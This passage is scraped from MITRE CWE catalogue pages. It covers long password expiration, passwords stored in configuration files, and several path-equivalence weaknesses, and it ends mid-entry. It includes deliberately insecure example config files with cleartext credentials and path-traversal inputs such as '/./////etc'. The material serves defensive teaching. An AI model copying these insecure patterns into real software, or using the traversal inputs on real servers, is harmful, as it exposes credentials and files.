[REF-374] Tony Sintes. "Does Java pass by reference or pass by value?". JavaWorld.com. 2000-05-26. <https://web.archive.org/web/20000619025001/https://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html>. URL validated: 2023-04-07.
[REF-375] Herbert Schildt. "Java: The Complete Reference, J2SE 5th Edition".
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Name, Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-06-23CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations, References
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2010-06-21Mutable Objects Passed by Reference

CWE-263: Password Aging with Long Expiration

Weakness ID: 263
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product supports password aging, but the expiration period is too long.
+ Extended Description

Password aging (or password rotation) is a policy that forces users to change their passwords after a defined time period passes, such as every 30 or 90 days. A long expiration provides more time for attackers to conduct password cracking before users are forced to change to a new password.

Note that while password aging was once considered an important security feature, it has since fallen out of favor by many, because it is not as effective against modern threats compared to other mechanisms such as slow hashes. In addition, forcing frequent changes can unintentionally encourage users to select less-secure passwords. However, password aging is still in use due to factors such as compliance requirements, e.g., Payment Card Industry Data Security Standard (PCI DSS).

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

As passwords age, the probability that they are compromised grows.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

A system requires the changing of passwords every five years.

+ Potential Mitigations

Phase: Architecture and Design

Ensure that password aging is limited so that there is a defined maximum age for passwords. Note that if the expiration window is too short, it can cause users to generate poor or predictable passwords.

Phase: Architecture and Design

Ensure that the user is notified several times leading up to the password expiration.

Phase: Architecture and Design

Create mechanisms to prevent users from reusing passwords or creating similar passwords.

Phase: Implementation

Developers might disable clipboard paste operations into password fields as a way to discourage users from pasting a password into a clipboard. However, this might encourage users to choose less-secure passwords that are easier to type, and it can reduce the usability of password managers [REF-1294].

Effectiveness: Discouraged Common Practice

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.951SFP Secondary Cluster: Insecure Authentication Policy
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPAllowing password aging
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-1305] Kurt Seifried and other members of the CWE-Research mailing list. "Discussion Thread: Time to retire CWE-262 and CWE-263". 2021-12-03. <https://www.mail-archive.com/cwe-research-list@mitre.org/msg00018.html>. URL validated: 2022-10-11.
[REF-1289] Lance Spitzner. "Time for Password Expiration to Die". 2021-06-27. <https://www.sans.org/blog/time-for-password-expiration-to-die/>.
[REF-1290] Lorrie Cranor. "Time to rethink mandatory password changes". 2016-03-02. <https://www.ftc.gov/policy/advocacy-research/tech-at-ftc/2016/03/time-rethink-mandatory-password-changes>.
[REF-1291] Eugene Spafford. "Security Myths and Passwords". 2006-04-19. <https://www.cerias.purdue.edu/site/blog/post/password-change-myths/>.
[REF-1292] National Cyber Security Centre. "Password administration for system owners". 2018-11-19. <https://www.ncsc.gov.uk/collection/passwords>. URL validated: 2023-04-07.
[REF-1293] NIST. "Digital Identity Guidelines: Authentication and Lifecycle Management(SP 800-63B)". 2017-06. <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf>. URL validated: 2023-04-07.
[REF-1294] National Cyber Security Centre. "Let them paste passwords". 2017-01-02. <https://www.ncsc.gov.uk/blog-post/let-them-paste-passwords>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2021-12-03Kurt Seifried, Chris Eng, G. Ann Campbell, Larry Shields, Jeffrey Walton, Jason Dryhurst-Smith, and other members of the CWE Community
Gave feedback on how to update CWE-262 and CWE-263 due to changing password management practices
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Description, Other_Notes, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Demonstrative_Examples, References
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2022-10-13CWE Content TeamMITRE
updated Description, Potential_Mitigations, References, Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Allowing Unchecked Password Aging

CWE-260: Password in Configuration File

Weakness ID: 260
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores a password in a configuration file that might be accessible to actors who do not know the password.
+ Extended Description
This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.522Insufficiently Protected Credentials
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.13ASP.NET Misconfiguration: Password in Configuration File
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.258Empty Password in Configuration File
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.555J2EE Misconfiguration: Plaintext Password in Configuration File
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

+ Demonstrative Examples

Example 1

Below is a snippet from a Java properties file.

(bad code)
Example Language: Java 
webapp.ldap.username = secretUsername
webapp.ldap.password = secretPassword

Because the LDAP credentials are stored in plaintext, anyone with access to the file can gain access to the resource.

Example 2

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

+ Observed Examples
ReferenceDescription
A continuous delivery pipeline management tool stores an unencypted password in a configuration file.
+ Potential Mitigations

Phase: Architecture and Design

Avoid storing passwords in easily accessible locations.

Phase: Architecture and Design

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPassword Management: Password in Configuration File
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-207] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-47: Path Equivalence: ' filename' (Leading Space)

Weakness ID: 47
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of leading space (' filedir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERLeading Space - ' filedir'
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Leading Space - ' filedir'
2010-09-27Path Equivalence: ' filename (Leading Space)

CWE-55: Path Equivalence: '/./' (Single Dot Directory)

Weakness ID: 55
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of single dot directory exploit ('/./') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL.
Server allows remote attackers to read password-protected files via a /./ in the HTTP request.
Possibly (could be a cleansing error)
"/./////etc" cleansed to ".///etc" then "/etc"
Server allows remote attackers to view password protected files via /./ in the URL.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER/./ (single dot directory)
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Single Dot Directory - /./

CWE-50: Path Equivalence: '//multiple/leading/slash'

Weakness ID: 50
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.161Improper Neutralization of Multiple Leading Special Elements
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
+ Modes Of Introduction
